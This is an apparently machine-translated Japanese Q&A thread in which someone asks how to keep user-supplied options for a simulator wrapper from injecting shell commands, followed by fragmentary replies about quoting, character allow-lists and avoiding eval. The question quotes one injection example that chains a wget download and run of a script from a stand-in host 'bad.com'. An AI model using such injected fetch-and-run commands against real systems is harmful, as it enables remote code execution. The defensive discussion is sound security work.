シミュレーターに渡すカスタムオプションをユーザーが指定できるようにする必要があるラッパーアプリケーションがあります。ただし、ユーザーがユーザーオプションを使用して他のコマンドを挿入しないようにします。これを達成する最良の方法は何ですか?
例えば。
- ユーザーが提供するもの:
-a -b
- アプリケーションの実行:
mysim --preset_opt -a -b
しかし、私はこれが起こることを望まない:
- ユーザーが提供するもの:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- アプリケーションの実行:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
現在、ユーザーが提供したすべてのオプションを単一引用符で囲み、ユーザーが提供した単一引用符'
を取り除くだけで、最後の例のコマンドが無害になることができると考えています:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
注:mysim
コマンドは、docker / lxcコンテナー内のシェルスクリプトの一部として実行されます。Ubuntuを実行しています。
eval
。mysim
シェルスクリプト内で実行可能ファイルを呼び出しています。ユーザーが提供するオプションの文字列を単にコピーし、mysim
コマンドの最後に貼り付けると、インジェクションが発生します。
-a -b
。そのため、追加のコマンドがその文字列に挿入されないようにします。
[a-zA-Z0-9 _-]
は、かなり防御的な選択のように見えます。
eval
アプリケーションの実行に使用していますか?そうでない場合、注入は発生しませんx="&& echo Doomed" ; echo $x